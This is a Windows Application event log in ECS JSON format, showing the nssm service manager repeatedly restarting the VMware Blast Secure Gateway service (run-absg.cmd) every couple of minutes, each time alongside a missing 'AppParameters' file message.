{"@timestamp":1646819359826,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166070}}
{"@timestamp":1646819359826,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166071}}
{"@timestamp":1646819488470,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166072}}
{"@timestamp":1646819488471,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166073}}
{"@timestamp":1646819488472,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162156","0"]}}},"module":"Application","provider":"nssm","sequence":166074}}
{"@timestamp":1646819488472,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162156","162156","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166075}}
{"@timestamp":1646819488489,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166076}}
{"@timestamp":1646819488489,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166077}}
{"@timestamp":1646819488490,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166078}}
{"@timestamp":1646819488491,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166079}}
{"@timestamp":1646819617287,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166080}}
{"@timestamp":1646819617289,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166081}}
{"@timestamp":1646819617292,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162492","0"]}}},"module":"Application","provider":"nssm","sequence":166082}}
{"@timestamp":1646819617292,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162492","162492","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166083}}
{"@timestamp":1646819617312,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162952","0"]}}},"module":"Application","provider":"nssm","sequence":166084}}
{"@timestamp":1646819617313,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162952","162492","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166085}}
{"@timestamp":1646819617366,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166086}}
{"@timestamp":1646819617368,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166087}}
{"@timestamp":1646819617368,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166088}}
{"@timestamp":1646819617370,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166089}}
{"@timestamp":1646819745857,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166090}}
{"@timestamp":1646819745858,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166091}}
{"@timestamp":1646819745859,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162992","0"]}}},"module":"Application","provider":"nssm","sequence":166092}}
{"@timestamp":1646819745859,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162992","162992","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166093}}
{"@timestamp":1646819745875,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166094}}
{"@timestamp":1646819745876,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166095}}
{"@timestamp":1646819745876,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166096}}
{"@timestamp":1646819745877,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166097}}
{"@timestamp":1646819874409,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166098}}
{"@timestamp":1646819874410,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166099}}
{"@timestamp":1646819874410,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163628","0"]}}},"module":"Application","provider":"nssm","sequence":166100}}
{"@timestamp":1646819874411,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163628","163628","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166101}}
{"@timestamp":1646819874428,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166102}}
{"@timestamp":1646819874428,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166103}}
{"@timestamp":1646819874429,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166104}}
{"@timestamp":1646819874430,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166105}}
{"@timestamp":1646820002916,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166106}}
{"@timestamp":1646820002918,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166107}}
{"@timestamp":1646820002919,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163772","0"]}}},"module":"Application","provider":"nssm","sequence":166108}}
{"@timestamp":1646820002919,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163772","163772","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166109}}
{"@timestamp":1646820002936,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166110}}
{"@timestamp":1646820002937,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166111}}
{"@timestamp":1646820002937,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166112}}
{"@timestamp":1646820002938,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166113}}
{"@timestamp":1646820131425,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166114}}
{"@timestamp":1646820131426,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166115}}
{"@timestamp":1646820131427,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163704","0"]}}},"module":"Application","provider":"nssm","sequence":166116}}
{"@timestamp":1646820131427,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163704","163704","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166117}}
{"@timestamp":1646820131447,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166118}}
{"@timestamp":1646820131448,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166119}}
{"@timestamp":1646820131448,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166120}}
{"@timestamp":1646820131449,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166121}}
{"@timestamp":1646820259928,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166122}}
{"@timestamp":1646820259929,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166123}}
{"@timestamp":1646820259930,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163100","0"]}}},"module":"Application","provider":"nssm","sequence":166124}}
{"@timestamp":1646820259930,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163100","163100","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166125}}
{"@timestamp":1646820259946,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166126}}
{"@timestamp":1646820259947,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166127}}
{"@timestamp":1646820259947,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166128}}
{"@timestamp":1646820259948,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166129}}
{"@timestamp":1646820388529,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166130}}
{"@timestamp":1646820388530,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166131}}
{"@timestamp":1646820388533,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161260","0"]}}},"module":"Application","provider":"nssm","sequence":166132}}
{"@timestamp":1646820388534,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161260","161260","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166133}}
{"@timestamp":1646820388556,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166134}}
{"@timestamp":1646820388557,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166135}}
{"@timestamp":1646820388557,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166136}}
{"@timestamp":1646820388558,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166137}}
{"@timestamp":1646820517090,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166138}}
{"@timestamp":1646820517091,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166139}}
{"@timestamp":1646820517092,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163236","0"]}}},"module":"Application","provider":"nssm","sequence":166140}}
{"@timestamp":1646820517092,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163236","163236","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166141}}
{"@timestamp":1646820517108,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166142}}
{"@timestamp":1646820517109,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166143}}
{"@timestamp":1646820517109,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166144}}
{"@timestamp":1646820517110,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166145}}
{"@timestamp":1646820645602,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166146}}
{"@timestamp":1646820645602,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166147}}
{"@timestamp":1646820645603,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162984","0"]}}},"module":"Application","provider":"nssm","sequence":166148}}
{"@timestamp":1646820645604,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162984","162984","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166149}}
{"@timestamp":1646820645622,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166150}}
{"@timestamp":1646820645622,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166151}}
{"@timestamp":1646820645623,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166152}}
{"@timestamp":1646820645624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166153}}
{"@timestamp":1646820774121,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166154}}
{"@timestamp":1646820774123,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166155}}
{"@timestamp":1646820774123,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163684","0"]}}},"module":"Application","provider":"nssm","sequence":166156}}
{"@timestamp":1646820774124,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163684","163684","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166157}}
{"@timestamp":1646820774142,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166158}}
{"@timestamp":1646820774142,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166159}}
{"@timestamp":1646820774143,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166160}}
{"@timestamp":1646820774143,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166161}}
{"@timestamp":1646820902622,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166162}}
{"@timestamp":1646820902623,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166163}}
{"@timestamp":1646820902624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157004","0"]}}},"module":"Application","provider":"nssm","sequence":166164}}
{"@timestamp":1646820902625,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157004","157004","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166165}}
{"@timestamp":1646820902642,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166166}}
{"@timestamp":1646820902643,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":166167}}
{"@timestamp":1646820902643,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166168}}
{"@timestamp":1646820902644,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":166169}}
{"@timestamp":1646821031148,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":166170}}
{"@timestamp":1646821031149,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":166171}}
{"@timestamp":1646821031149,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163640","0"]}}},"module":"Application","provider":"nssm","sequence":166172}}
{"@timestamp":1646821031150,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163640","163640","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":166173}}
{"@timestamp":1646821031173,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":166174}}
